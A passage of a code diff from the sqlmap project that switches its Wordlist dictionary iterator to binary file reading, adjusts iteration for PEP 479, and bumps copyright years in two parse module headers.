     Iterator for looping over a large dictionaries
 
     >>> from lib.core.option import paths
-    >>> isinstance(next(Wordlist(paths.SMALL_DICT)), six.string_types)
+    >>> isinstance(next(Wordlist(paths.SMALL_DICT)), six.binary_type)
+    True
+    >>> isinstance(next(Wordlist(paths.WORDLIST)), six.binary_type)
     True
     """
 
@@ -40,7 +42,7 @@ class Wordlist(six.Iterator):
     def adjust(self):
         self.closeFP()
         if self.index > len(self.filenames):
-            raise StopIteration
+            return  # Note: https://stackoverflow.com/a/30217723 (PEP 479)
         elif self.index == len(self.filenames):
             self.iter = iter(self.custom)
         else:
@@ -58,7 +60,7 @@ class Wordlist(six.Iterator):
                     raise SqlmapDataException(errMsg)
                 self.fp = _.open(_.namelist()[0])
             else:
-                self.fp = open(self.current, 'r')
+                self.fp = open(self.current, "rb")
             self.iter = iter(self.fp)
 
         self.index += 1

lib/parse/__init__.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 

lib/parse/banner.py

@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """